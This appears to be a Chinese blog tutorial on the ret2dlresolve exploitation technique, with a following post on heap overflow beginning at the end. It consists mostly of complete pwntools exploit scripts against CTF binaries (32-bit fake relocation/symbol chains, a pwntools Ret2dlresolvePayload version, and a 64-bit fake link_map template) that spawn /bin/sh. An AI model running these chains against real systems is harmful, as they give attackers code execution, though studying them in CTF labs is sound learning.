5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from pwn import * elf = ELF(\u0026#39;./partial_relro_32\u0026#39;) r = process(\u0026#39;./partial_relro_32\u0026#39;) rop = ROP(\u0026#39;./partial_relro_32\u0026#39;) offset = 112 bss_addr = elf.bss() r.recvuntil(b\u0026#39;Welcome to XDCTF2015~!\\n\u0026#39;) # stack privot to bss segment, set esp = base_stage stack_size = 0x800 # new stack size is 0x800 base_stage = bss_addr + stack_size + (0x080487C2-0x080487A8)//2*0x10 rop.raw(\u0026#39;a\u0026#39; * offset) # padding rop.read(0, base_stage, 100) # read 100 byte to base_stage rop.migrate(base_stage) r.sendline(rop.chain()) rop = ROP(\u0026#39;./partial_relro_32\u0026#39;) sh = \u0026#34;/bin/sh\u0026#34; plt0 = elf.get_section_by_name(\u0026#39;.plt\u0026#39;).header.sh_addr rel_plt = elf.get_section_by_name(\u0026#39;.rel.plt\u0026#39;).header.sh_addr dynsym = elf.get_section_by_name(\u0026#39;.dynsym\u0026#39;).header.sh_addr dynstr = elf.get_section_by_name(\u0026#39;.dynstr\u0026#39;).header.sh_addr # make a fake write symbol at base_stage + 32 + align fake_sym_addr = base_stage + 32 align = 0x10 - ((fake_sym_addr - dynsym) \u0026amp; 0xf ) # since the size of Elf32_Symbol is 0x10 fake_sym_addr = fake_sym_addr + align index_dynsym = (fake_sym_addr - dynsym) // 0x10 # calculate the dynsym index of write fake_write_sym = flat([0x4c, 0, 0, 0x12]) # make fake write relocation at base_stage+24 index_offset = base_stage + 24 - rel_plt write_got = elf.got[\u0026#39;write\u0026#39;] r_info = (index_dynsym \u0026lt;\u0026lt; 8) | 0x7 # calculate the r_info according to the index of write fake_write_reloc = flat([write_got, r_info]) gnu_version_addr = elf.get_section_by_name(\u0026#39;.gnu.version\u0026#39;).header.sh_addr print(\u0026#34;ndx_addr: %s\u0026#34; % hex(gnu_version_addr+index_dynsym*2)) # construct rop chain rop.raw(plt0) rop.raw(index_offset) rop.raw(\u0026#39;bbbb\u0026#39;) # fake ret addr of write rop.raw(1) rop.raw(base_stage + 80) rop.raw(len(sh)) rop.raw(fake_write_reloc) # fake write reloc rop.raw(b\u0026#39;a\u0026#39; * align) # padding rop.raw(fake_write_sym) # fake write symbol rop.raw(b\u0026#39;a\u0026#39; * (80 - len(rop.chain()))) rop.raw(sh) rop.raw(b\u0026#39;a\u0026#39; * (100 - len(rop.chain()))) r.sendline(rop.chain()) r.interactive() Stage5 进一步伪造write符号的st_name指向我们自己构造的字符串\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 from pwn import * elf = ELF(\u0026#39;./partial_relro_32\u0026#39;) r = process(\u0026#39;./partial_relro_32\u0026#39;) rop = ROP(\u0026#39;./partial_relro_32\u0026#39;) offset = 112 bss_addr = elf.bss() r.recvuntil(b\u0026#39;Welcome to XDCTF2015~!\\n\u0026#39;) # stack privot to bss segment, set esp = base_stage stack_size = 0x800 # new stack size is 0x800 base_stage = bss_addr + stack_size + (0x080487C2-0x080487A8)//2*0x10 rop.raw(\u0026#39;a\u0026#39; * offset) # padding rop.read(0, base_stage, 100) # read 100 byte to base_stage rop.migrate(base_stage) r.sendline(rop.chain()) rop = ROP(\u0026#39;./partial_relro_32\u0026#39;) sh = \u0026#34;/bin/sh\u0026#34; plt0 = elf.get_section_by_name(\u0026#39;.plt\u0026#39;).header.sh_addr rel_plt = elf.get_section_by_name(\u0026#39;.rel.plt\u0026#39;).header.sh_addr dynsym = elf.get_section_by_name(\u0026#39;.dynsym\u0026#39;).header.sh_addr dynstr = elf.get_section_by_name(\u0026#39;.dynstr\u0026#39;).header.sh_addr # make a fake write symbol at base_stage + 32 + align fake_sym_addr = base_stage + 32 align = 0x10 - ((fake_sym_addr - dynsym) \u0026amp; 0xf) # since the size of Elf32_Symbol is 0x10 fake_sym_addr = fake_sym_addr + align index_dynsym = (fake_sym_addr - dynsym) // 0x10 # calculate the dynsym index of write st_name = fake_sym_addr + 0x10 - dynstr # plus 10 since the size of Elf32_Sym is 16. fake_write_sym = flat([st_name, 0, 0, 0x12]) # make fake write relocation at base_stage+24 index_offset = base_stage + 24 - rel_plt write_got = elf.got[\u0026#39;write\u0026#39;] r_info = (index_dynsym \u0026lt;\u0026lt; 8) | 0x7 # calculate the r_info according to the index of write fake_write_reloc = flat([write_got, r_info]) # construct rop chain rop.raw(plt0) rop.raw(index_offset) rop.raw(\u0026#39;bbbb\u0026#39;) # fake ret addr of write rop.raw(1) rop.raw(base_stage + 80) rop.raw(len(sh)) rop.raw(fake_write_reloc) # fake write reloc rop.raw(\u0026#39;a\u0026#39; * align) # padding rop.raw(fake_write_sym) # fake write symbol rop.raw(\u0026#39;write\\x00\u0026#39;) # there must be a \\x00 to mark the end of string rop.raw(\u0026#39;a\u0026#39; * (80 - len(rop.chain()))) rop.raw(sh) rop.raw(\u0026#39;a\u0026#39; * (100 - len(rop.chain()))) r.sendline(rop.chain()) r.interactive() 最终脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 from pwn import * # 1. 初始化与基础设置 elf = ELF(\u0026#39;./partial_relro_32\u0026#39;) r = process(\u0026#39;./partial_relro_32\u0026#39;) rop = ROP(\u0026#39;./partial_relro_32\u0026#39;) offset = 112 # 溢出到返回地址(ret addr)需要的垃圾数据填充量 bss_addr = elf.bss() # 获取 .bss 段的起始地址，作为我们伪造数据的“宽敞新家” r.recvuntil(b\u0026#39;Welcome to XDCTF2015~!\\n\u0026#39;) # 2. 阶段一：栈迁移 (Stack Pivoting) stack_size = 0x800 # 预留的新栈空间大小 # 【核心干货】：基址偏移计算 (绕过 .gnu.version 版本检查) # 原理：伪造的符号表项离真实的 .dynsym 太远，导致版本检查时数组越界崩溃。 # 修复：内存地址 0x080487C2 处的值刚好为 0。我们通过精确增加 base_stage 的偏移， # 使得大老板(动态链接器)在越界查询时，刚好查到这个 0，从而安全跳过版本检查。 base_stage = bss_addr + stack_size + (0x080487C2 - 0x080487A8) // 2 * 0x10 rop.raw(b\u0026#39;a\u0026#39; * offset) # 1. 填充满原有栈的缓冲区 rop.read(0, base_stage, 100) # 2. 调用 read(0, base_stage, 100)，把后续的终极 payload 读入 bss 段 rop.migrate(base_stage) # 3. 栈迁移指令 (leave; ret)，强行把 CPU 的栈顶指针 esp 挪到 base_stage r.sendline(rop.chain()) # 发送第一段 payload，此时程序的舞台已经转移到了 bss 段 # 3. 阶段二：计算各个动态链接表的真实基址 rop = ROP(\u0026#39;./partial_relro_32\u0026#39;) # 重新初始化 ROP，准备构造第二段 payload sh = b\u0026#34;/bin/sh\u0026#34; # 最终要执行的命令字符串 # 获取四个核心表的内存地址 plt0 = elf.get_section_by_name(\u0026#39;.plt\u0026#39;).header.sh_addr # PLT 桩的总入口 (呼叫大老板的专线) rel_plt = elf.get_section_by_name(\u0026#39;.rel.plt\u0026#39;).header.sh_addr # 重定位表 (.rel.plt) 的基址 dynsym = elf.get_section_by_name(\u0026#39;.dynsym\u0026#39;).header.sh_addr # 符号表 (.dynsym) 的基址 dynstr = elf.get_section_by_name(\u0026#39;.dynstr\u0026#39;).header.sh_addr # 字符串表 (.dynstr) 的基址 # 4. 阶段三：构造伪造的结构体数据 # 构造伪造的符号表项 (Fake Elf32_Sym) fake_sym_addr = base_stage + 32 # 安排在 base_stage 偏移 32 字节的地方 align = 0x10 - ((fake_sym_addr - dynsym) \u0026amp; 0xf) # 内存对齐计算：Elf32_Sym 结构体必须是 16 (0x10) 字节对齐的 fake_sym_addr = fake_sym_addr + align # 加上对齐所需的偏移，得到最终对齐后的精准地址 # 计算该假符号表项在真实 .dynsym 表中的相对索引下标 index_dynsym = (fake_sym_addr - dynsym) // 0x10 # 计算我们伪造的字符串 \u0026#34;system\\x00\u0026#34; 距离真实字符串表 .dynstr 的偏移量 (st_name) # 加 0x10 是因为 Elf32_Sym 本身占 16 字节，我们将字符串紧跟在结构体后面存放 st_name = fake_sym_addr + 0x10 - dynstr # 打包成 Elf32_Sym 结构体 (st_name, st_value, st_size, st_info) # 0x12 表示这是一个 Global Function fake_write_sym = flat([st_name, 0, 0, 0x12]) # 构造伪造的重定位表项 (Fake Elf32_Rel) index_offset = base_stage + 24 - rel_plt # 计算传给 plt0 的参数 reloc_arg (即该假表项相对于真实 .rel.plt 的偏移) write_got = elf.got[\u0026#39;write\u0026#39;] # 解析出 system 地址后，把真实地址写回这个原有的 GOT 表位置 r_info = (index_dynsym \u0026lt;\u0026lt; 8) | 0x7 # 组装 r_info：高 24 位为符号索引，低 8 位为重定位类型 (0x7) # 打包成 Elf32_Rel 结构体 (r_offset, r_info) fake_write_reloc = flat([write_got, r_info]) # 5. 阶段四：极其精密的内存布局 (组装最终 Payload) # ROP 调用链 rop.raw(plt0) # 1. 触发 plt0，唤醒 _dl_runtime_resolve rop.raw(index_offset) # 2. 传入伪造的重定位表偏移 reloc_arg rop.raw(b\u0026#39;bbbb\u0026#39;) # 3. system 执行完的返回地址 (拿 shell 了，不关心返回到哪) rop.raw(base_stage + 80) # 4. system 函数的参数指针，精准指向下面的 \u0026#34;/bin/sh\u0026#34; 所在地址 rop.raw(b\u0026#39;bbbb\u0026#39;) # 占位符 (此时在 base_stage + 16) rop.raw(b\u0026#39;bbbb\u0026#39;) # 占位符 (此时在 base_stage + 20) # 伪造的结构体与字符串数据 # 此时位于 base_stage + 24 rop.raw(fake_write_reloc) # 写入 Fake Elf32_Rel (占 8 字节) rop.raw(b\u0026#39;a\u0026#39; * align) # 写入对齐用的填充字节 # 此时位于 fake_sym_addr rop.raw(fake_write_sym) # 写入 Fake Elf32_Sym (占 16 字节) # 此时位于 fake_sym_addr + 16 (即 st_name 指向的位置) rop.raw(b\u0026#39;system\\x00\u0026#39;) # 写入目标函数名！大老板就是被这个名字骗去系统库找 system 的 # 填充垃圾数据，确保下一个数据的起始位置严格位于 base_stage + 80 rop.raw(b\u0026#39;a\u0026#39; * (80 - len(rop.chain()))) # 此时位于 base_stage + 80 rop.raw(sh + b\u0026#39;\\x00\u0026#39;) # 写入 system 的参数 \u0026#34;/bin/sh\\x00\u0026#34; # 将整个 payload 补齐至 100 字节，防止 read 提前截断或引发其他异常 rop.raw(b\u0026#39;a\u0026#39; * (100 - len(rop.chain()))) # 6. 发送与交互 print(rop.dump()) # 打印 payload 内存布局图，方便调试 print(\u0026#34;Payload length:\u0026#34;, len(rop.chain())) r.sendline(rop.chain()) # 发送致命一击 r.interactive() # 享受你的 Root Shell 吧！ 自动化工具 脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import * # 开启 debug 可以看到发包的详细过程 context(arch=\u0026#39;i386\u0026#39;, os=\u0026#39;linux\u0026#39;, log_level=\u0026#39;debug\u0026#39;) elf = ELF(\u0026#39;./partial_relro_32\u0026#39;) p = process(\u0026#39;./partial_relro_32\u0026#39;) # 找一个安全的 BSS 地址存放伪造的假表 # 放在 0x300 偏移处，既安全又不会超出段保护 bss_addr = elf.bss() + 0x300 # 魔法开启：让 Pwntools 帮我们干脏活累活 # 这一行代码，自动算好了 6 个 Stage 的所有偏移，并造好了假结构体！ dl = Ret2dlresolvePayload(elf, symbol=\u0026#34;system\u0026#34;, args=[\u0026#34;/bin/sh\u0026#34;], data_addr=bss_addr) rop = ROP(elf) # 第一步：正常调用 read，把假表数据(dl.payload)读进 bss_addr # pwntools 会自动帮我们加上 pop3_ret，保证执行完能平滑进入下一步 rop.read(0, dl.data_addr, len(dl.payload)) # 第二步：无缝衔接，直接调用解析函数，一击致命 rop.ret2dlresolve(dl) # 组合发送 Payload padding = b\u0026#34;A\u0026#34; * 112 payload1 = padding + rop.chain() # read 读了 0x100 (256) 字节 # 我们必须把第一包填满 256 字节，强迫 read 结束，绝对不能让它吞掉第二包的数据！ payload1 = payload1.ljust(256, b\u0026#39;\\x00\u0026#39;) p.recvuntil(b\u0026#39;Welcome to XDCTF2015~!\\n\u0026#39;) # 发送 ROP 链 p.send(payload1) # 稍微暂停一下，等待 CPU 流转到我们的 read 函数里 sleep(0.1) # 发送伪造的结构体数据（也就是给 dl.data_addr 填数据） p.send(dl.payload) p.interactive() 空间要求：\n32 位的 payload 大概需要 100 多个字节。 64 位的 payload（带有巨大的 link_map）通常需要 300 到 500 个字节。 64位 对于上述的方法，通过超大的偏移量，去直接读到我们自己构造的结构体中，在32位程序中十分好用，但是对于64位程序，大概率会在解析时直接崩溃\n1 2 3 4 if (l-\u0026gt;l_info[VERSYMIDX (DT_VERSYM)] != NULL) { // 致命的读取： ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc-\u0026gt;r_info)] \u0026amp; 0x7fff; } 可以看到，这里有一段校验代码，因为我们为了让地址越界到.bss，伪造了一个巨大的sym_index（也就是代码中的ELFW(R_SYM)(reloc-\u0026gt;r_info)）而系统去vernum数组里取版本号的时候，没有做边界检查，它会拿着巨大的索引去读取内存，直接读到了没有映射的非法内存地址，引发Segfault\n解法 Fake link_map技术\n为了绕过这个DT_VERSYM崩溃，我们得使用另一种操作：伪造整个link_map\n前面所有_dl_fixup的所有基址（比如SYMTAB，STRTAB，以及DT_VERSYM），全是从struct link_map *l这个大结构体中读出来的\n攻击思路 1.在.bss段，伪造一个庞大的link_map结构体\n2.在里面把1_info[DT_SYMTAB]等指针改掉，真实的 link_map 里的这些指针，指向的是系统默认的、只读的符号表和字符串表。我们在假地图里，把这些指针全改了，让它们指向我们同样伪造在 .bss 段的 Elf64_Sym（写着 \u0026ldquo;system\u0026rdquo; 偏移的假符号）和 Elf64_Rela（重定位表）。\n3.把1_info[DT_VERSYM]改为NULL（0），这样就不会执行导致崩溃的版本验证代码\n4.在ROP链中，我们不去跳转PLT0，而是利用某些Gadget手动触发 _dl_runtime_resolve，或者改写GOT[1]，把我们伪造的link_map的地址传给他，因为如果执行了PLT0的话，就会正常跳转到GOT1，将系统真实的link_map压进去，这样伪造的link_map就没用了。然后直接GOT2跳到 _ dl_runtime_resolve函数触发\n5.双重索引与基址对消魔术（底层计算绕过） ，这是伪造结构体时最巧妙的思想，涉及两个关键索引：\n第一把钥匙（传参 reloc_arg）：我们在 ROP 链中直接给参数 reloc_arg = 0。系统计算：假重定位表基址 + 0 * 24 = 假重定位表。 第二把钥匙（结构体内的 r_info）：在假重定位表里，我们将 r_info 设为 0x100000007（即告诉系统查第 1 号符号）。 基址对消（神来之笔）：为了让系统算出的“第 1 号符号”刚好落在我们的假符号上，我们把假地图里的 DT_SYMTAB（符号表基址）故意设为：假符号真实地址 - 24。 系统最终计算：(假符号真实地址 - 24) + 1 * 24 = 假符号真实地址。完美命中！ 这里可以直接使用pwntools，省去自己构造这么多结构体的麻烦，使用pwntools中封装好的自动化工具：Ret2dlresolvePayload\n示例：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import * elf = ELF(\u0026#34;./main_partial_relro_64\u0026#34;) # ... 省略基础设置 ... # 设定我们在 .bss 段上用来存放伪造数据的基址 dlresolve = Ret2dlresolvePayload(elf, symbol=\u0026#34;system\u0026#34;, args=[\u0026#34;/bin/sh\u0026#34;], data_addr=0x600c00) # 生成 ROP 链：先调用 read，把 pwntools 准备好的 dlresolve.payload 写入到 .bss 中 rop.read(0, dlresolve.data_addr, len(dlresolve.payload)) # 然后，跳转并解析！ rop.ret2dlresolve(dlresolve) # 最后全部打出去 p.sendline(rop.chain()) p.send(dlresolve.payload) # 把那个精美伪造的结构体包裹发送过去 对于data_addr的选择，应该满足如下：\n1.必须是可写，并且已知的地址\n2.必须可读可写，常用bss段\n3.需要有足够的空间，32 位的 payload 大概需要 100 多个字节，64 位的 payload（带有巨大的 link_map）通常需要 300 到 500 个字节。\n4.内存对齐，在 64 位下，内存对齐十分重要：\n原因：动态链接器在解析 64 位的 Elf64_Sym（符号表）、Elf64_Rela（重定位表）以及我们伪造的 link_map 时，底层 C 语言代码使用的是结构体指针强转。64 位架构下，系统极度依赖 8 字节对齐。如果你的结构体落在了一个不对齐的地址（比如末尾是 0x\u0026hellip;1 或 0x\u0026hellip;3），解析器一读取里面的数据，系统就会抛出总线错误（Bus Error）或段错误崩溃。 最佳实践：给定的 data_addr 必须是 8 的倍数（最好是 16 的倍数）。 例如：0x601000, 0x601080 是好地址。 例如：0x601005 就是一个错误地址。 （注：pwntools 内部会自动帮你做结构体内的对齐 padding，但前提是你给的起始地址 data_addr 必须是对齐的。） 选择一个好的data_addr的方法：\n1.使用readelf -S ./pwn 或在 GDB 中看 vmmap，找到 .bss 段的起始地址和结束地址。\n2.公式：data_addr = .bss 起始地址 + 0x300（或者 0x400, 0x500 等，确保它还在 BSS 范围内）。\n3.确保计算出的地址最后一位最好是0，完美满足64位对齐要求\n具体分析 题目为CTF-Wiki 中的main_partial_relro_64\n64位的变化 glibc 中默认编译使用的是 ELF_Rela 来记录重定位项的内容\n1 2 3 4 5 6 7 8 9 10 typedef struct { Elf64_Addr r_offset; /* Address */ Elf64_Xword r_info; /* Relocation type and symbol index */ Elf64_Sxword r_addend; /* Addend */ } Elf64_Rela; /* How to extract and insert information held in the r_info field. */ #define ELF64_R_SYM(i) ((i) \u0026gt;\u0026gt; 32) #define ELF64_R_TYPE(i) ((i) \u0026amp; 0xffffffff) #define ELF64_R_INFO(sym,type) ((((Elf64_Xword) (sym)) \u0026lt;\u0026lt; 32) + (type)) Elf64_Sym 大小是 24 字节\n根据IDA里的重定位表的信息可以知道，write函数在符号表中的偏移为1\n1 2 3 4 5 6 LOAD:0000000000400488 ; ELF JMPREL Relocation Table LOAD:0000000000400488 Elf64_Rela \u0026lt;601018h, 100000007h, 0\u0026gt; ; R_X86_64_JUMP_SLOT write LOAD:00000000004004A0 Elf64_Rela \u0026lt;601020h, 200000007h, 0\u0026gt; ; R_X86_64_JUMP_SLOT strlen LOAD:00000000004004B8 Elf64_Rela \u0026lt;601028h, 300000007h, 0\u0026gt; ; R_X86_64_JUMP_SLOT setbuf LOAD:00000000004004D0 Elf64_Rela \u0026lt;601030h, 400000007h, 0\u0026gt; ; R_X86_64_JUMP_SLOT read LOAD:00000000004004D0 LOAD ends 确实在符号表中的偏移为 1。\n1 2 3 4 5 6 7 LOAD:00000000004002C0 ; ELF Symbol Table LOAD:00000000004002C0 Elf64_Sym \u0026lt;0\u0026gt; LOAD:00000000004002D8 Elf64_Sym \u0026lt;offset aWrite - offset byte_400398, 12h, 0, 0, 0, 0\u0026gt; ; \u0026#34;write\u0026#34; LOAD:00000000004002F0 Elf64_Sym \u0026lt;offset aStrlen - offset byte_400398, 12h, 0, 0, 0, 0\u0026gt; ; \u0026#34;strlen\u0026#34; LOAD:0000000000400308 Elf64_Sym \u0026lt;offset aSetbuf - offset byte_400398, 12h, 0, 0, 0, 0\u0026gt; ; \u0026#34;setbuf\u0026#34; LOAD:0000000000400320 Elf64_Sym \u0026lt;offset aRead - offset byte_400398, 12h, 0, 0, 0, 0\u0026gt; ; \u0026#34;read\u0026#34; ... 在64位下，Elf64_Sym结构体为\n1 2 3 4 5 6 7 8 typedef struct { Elf64_Word st_name; // 4 字节 (32位) —— 符号名在字符串表中的偏移量 unsigned char st_info; // 1 字节 (8位) —— 符号的类型和绑定属性 unsigned char st_other; // 1 字节 (8位) —— 符号的可见性 (通常填0) Elf64_Half st_shndx; // 2 字节 (16位) —— 所在的段索引 (也就是你说的 Elf64_Section) Elf64_Addr st_value; // 8 字节 (64位) —— 符号的真实内存地址 Elf64_Xword st_size; // 8 字节 (64位) —— 符号的大小 (比如函数占多少字节) } Elf64_Sym; 其中 Elf64_word 32位\n​ Elf64_Section 16位\n​ Elf64_Addr 64位\n​ Elf64_Xword 64位\n所以，Elf_Sym的大小为24个字节\n除此之外，在 64 位下，plt 中的代码 push 的是待解析符号在重定位表中的索引，而不是偏移。比如，write 函数 push 的是 0。\n1 2 3 4 5 6 7 8 .plt:0000000000400510 ; ssize_t write(int fd, const void *buf, size_t n) .plt:0000000000400510 _write proc near ; CODE XREF: main+B3↓p .plt:0000000000400510 jmp cs:off_601018 .plt:0000000000400510 _write endp .plt:0000000000400510 .plt:0000000000400516 ; --------------------------------------------------------------------------- .plt:0000000000400516 push 0 .plt:000000000040051B jmp sub_400500 总结 修改 dynamic 节的内容 修改重定位表项的位置 伪造 linkmap 主要前提要求 无 无 无信息泄漏时需要 libc 适用情况 NO RELRO NO RELRO, Partial RELRO NO RELRO, Partial RELRO 注意点 确保版本检查通过；确保重定位位置可写；确保重定位表项、符号表、字符串表一一对应 确保重定位位置可写；需要着重伪造重定位表项、符号表； 总的来说，与ret2dlresolve攻击最为相关的一些动态节为\nDT_JMPREL（指向 .rel.plt（32位）或 .rela.plt（64位）段的起始地址。里面存放的是“重定位表项”（告诉你哪个GOT表需要被修改，以及对应的符号是啥）。）\nDT_SYMTAB（指向 .dynsym 段的起始地址。这是一个巨大的结构体数组，里面记录了程序用到的所有外部函数（符号）的信息（包含符号的值、大小、类型，以及名字所在的偏移量））\nDT_STRTAB（指向 .dynstr 段的起始地址。这其实就是一个大号的字符数组，里面密密麻麻塞满了以 \\x00 结尾的字符串（比如 \u0026ldquo;printf\\x00puts\\x00read\\x00\u0026rdquo;））\nDT_VERSYM（指向 .gnu.version 段。因为 Linux 发展了很多年，libc 里的同一个函数可能有好几个版本（比如 glibc 2.2.5 的版本，glibc 2.34 的版本），这个表用来校验你要解析的函数版本对不对）\nexp模板 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 #coding:utf-8 from pwn import * context.log_level = \u0026#39;debug\u0026#39; elf = ELF(\u0026#39;./pwn222\u0026#39;) libc = elf.libc p = process(\u0026#39;./pwn222\u0026#39;) gdb.attach(p,\u0026#39;b*0x04011AA\u0026#39;) # main ret # libc = ELF(\u0026#39;./libc\u0026#39;) \u0026#39;\u0026#39;\u0026#39; typedef struct { Elf64_Word st_name; /* Symbol name (string tbl index) */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility */ Elf64_Section st_shndx; /* Section index */ Elf64_Addr st_value; /* Symbol value */ Elf64_Xword st_size; /* Symbol size */ }Elf64_Sym; typedef struct { Elf64_Addr r_offset; /* Address */ Elf64_Xword r_info; /* Relocation type and symbol index */ Elf64_Sxword r_addend; /* Addend */ }Elf64_Rela; typedef struct { Elf64_Sxword d_tag; /* Dynamic entry type */ union { Elf64_Xword d_val; /* Integer value */ Elf64_Addr d_ptr; /* Address value */ } d_un; }Elf64_Dyn; \u0026#39;\u0026#39;\u0026#39; universal_gadget1 = 0x00040122A # gadget_end universal_gadget2 = 0x000401210 # gadget_front Elf64_Sym_len = 0x18 Elf64_Rela_len = 0x18 write_addr = 0x404040 + 0x440 # write to where log.info(\u0026#39;bss: \u0026#39;+ hex(elf.bss())) link_map_addr = write_addr+0x18 rbp = write_addr-8 pop_rdi_ret = 0x000401233 leave = 0x004011aa main = 0x0401146 #fake_Elf64_Dyn_STR_addr = l+0x68 #fake_Elf64_Dyn_SYM_addr = l+0x70 #fake_Elf64_Dyn_JMPREL_addr = l+0xf8 l_addr = libc.sym[\u0026#39;system\u0026#39;] - libc.sym[\u0026#39;__libc_start_main\u0026#39;] #l-\u0026gt;l_addr + sym-\u0026gt;st_value # value = DL_FIXUP_MAKE_VALUE (l, l-\u0026gt;l_addr + sym-\u0026gt;st_value); def fake_link_map_gen(link_map_addr,l_addr,st_value): fake_Elf64_Dyn_JMPREL_addr = link_map_addr + 0x18 fake_Elf64_Dyn_SYM_addr = link_map_addr + 8 fake_Elf64_Dyn_STR_addr = link_map_addr fake_Elf64_Dyn_JMPREL = p64(0) + p64(link_map_addr+0x28) fake_Elf64_Dyn_SYM = p64(0) + p64(st_value-8) fake_Elf64_rela = p64(link_map_addr - l_addr) + p64(7) + p64(0) fake_link_map = p64(l_addr) #0x8 fake_link_map += fake_Elf64_Dyn_SYM #0x10 fake_link_map += fake_Elf64_Dyn_JMPREL #0x10 fake_link_map += fake_Elf64_rela #0x18 fake_link_map += b\u0026#39;\\x00\u0026#39;*0x28 fake_link_map += p64(fake_Elf64_Dyn_STR_addr) #link_map_addr + 0x68 fake_link_map += p64(fake_Elf64_Dyn_SYM_addr) #link_map_addr + 0x70 fake_link_map += b\u0026#39;/bin/sh\\x00\u0026#39;.ljust(0x80,b\u0026#39;\\x00\u0026#39;) fake_link_map += p64(fake_Elf64_Dyn_JMPREL_addr) return fake_link_map def get_fake_link_map(fake_link_map_addr,l_addr,st_value): # 给出各个指针的假地址 fake_Elf64_Dyn_STR_addr = p64(fake_link_map_addr) fake_Elf64_Dyn_SYM_addr = p64(fake_link_map_addr + 0x8) fake_Elf64_Dyn_JMPREL_addr = p64(fake_link_map_addr + 0x18) # 伪造相关结构体 fake_Elf64_Dyn_SYM = flat(p64(0),p64(st_value-8)) fake_Elf64_Dyn_JMPREL = flat(p64(0),p64(fake_link_map_addr+0x28) )# JMPREL指向.rel.plt地址，放在fake_link_map_addr+0x28 r_offset = fake_link_map_addr - l_addr log.info(\u0026#34;r_offset :\u0026#34;+str(hex(r_offset))) fake_Elf64_rela = flat(p64(r_offset),p64(7),p64(0)) # fake_link_map整体结构 fake_link_map = flat( # 0x0 p64(l_addr), # 0x8 fake_Elf64_Dyn_SYM, # 0x18 fake_Elf64_Dyn_JMPREL,# 0x28 fake_Elf64_rela, # 0x40 \u0026#34;\\x00\u0026#34;*0x28, # 0x68，下面开始放指针 fake_Elf64_Dyn_STR_addr, # STRTAB指针,0x70 fake_Elf64_Dyn_SYM_addr, # SYMTAB指针,0x78 \u0026#34;/bin/sh\\x00\u0026#34;.ljust(0x80,\u0026#34;\\x00\u0026#34;), fake_Elf64_Dyn_JMPREL_addr, # JMPREL指针 ) return fake_link_map fake_link_map = fake_link_map_gen(link_map_addr,l_addr,elf.got[\u0026#39;__libc_start_main\u0026#39;]) payload = b\u0026#39;a\u0026#39;*0x20 payload += p64(rbp) payload += p64(universal_gadget1) payload += p64(0) #pop rbx payload += p64(1) #pop rbp payload += p64(0) #pop r12 payload += p64(write_addr) #pop r13 payload += p64(len(fake_link_map)+0x18) #pop r14 payload += p64(elf.got[\u0026#39;read\u0026#39;]) #pop r15 payload += p64(universal_gadget2) #ret payload += p64(0)*7 payload += p64(main) payload = payload.ljust(0x200,b\u0026#39;\\x00\u0026#39;) p.send(payload) sleep(1) fake_info = p64(0x00401026) #jmp plt0+6 fake_info += p64(link_map_addr) fake_info += p64(0) fake_info += fake_link_map p.send(fake_info) sleep(1) payload = b\u0026#39;b\u0026#39;*0x20+p64(rbp)+p64(pop_rdi_ret)+p64(link_map_addr+0x78)+p64(leave) #stack pivot,进入函数重定向 payload = payload.ljust(0x200,b\u0026#39;\\x00\u0026#39;) p.send(payload) p.interactive() 本文若有疏漏或表述不当之处，恳请各位师傅批评指正。\n","date":"2026-08-14T15:32:33+08:00","image":"/covers/02.jpg","permalink":"/p/ret2dlresolve/","title":"ret2dlresolve"},{"content":" 堆溢出(Heap Overflow)是指程序向某个堆块写入的字节数超过了其本身可使用的字节数，超出了边界，导致了数据溢出，并覆盖到物理相邻的高地址的下一个堆块\n注意：这里说可使用的字节数而不是用户申请的字节数，是因为堆管理器会对用户申请的字节数进行调整，从而可利用的字节数都不小于本身申请的字节数。。。\n原因 1.缓冲区溢出：程序向堆中分配的缓冲区写入过多数据导致溢出\n2.内存管理器错误：程序错误释放内存或重复释放同一块内存\n3.未初始化内存：使用未初始化的堆内存可能导致错误\n4.整数溢出：计算内存大小时发生整数溢出，导致分配的内存过小\n1 2 char *buffer = (char *)malloc(10); // 分配 10 字节的堆内存 strcpy(buffer, \u0026#34;Today,I want to go shopping and eat hamburgers!\u0026#34;); // 写入超过10字节的数据，触发堆溢出 可以知道，发生堆溢出的前提就是要么程序往堆上写数据，要么写入的数据大小没控制好\n后果 覆盖相邻的内存：溢出的数据可能会覆盖堆中的其他内存块，比如chunk头\n我们直接来演示一下\nheap_overflow 1 2 3 4 5 6 7 8 9 #include \u0026lt;stdio.h\u0026gt; int main(void) { char *chunk; chunk=malloc(24); puts(\u0026#34;Get input:\u0026#34;); gets(chunk); return 0; } 这一段代码典型的gets危险函数，我们来看看溢出全过程\n1 gdb ./heap_overflow 调试一下，然后把断点下在第7,8行，随后r运行\n看一下初始chunk的地址，注意，这里因为我们获取的指针是从堆块的数据区开始的，而堆块的头部（Header，包含大小信息）在这个地址的前16个字节处，所以我们需要减去16\n算出来地址是0x405290，看一下布局\n1 2 3 4 0x405290: 0x0000000000000000 0x0000000000000021 \u0026lt;-- chunk 头部 (size: 0x21) 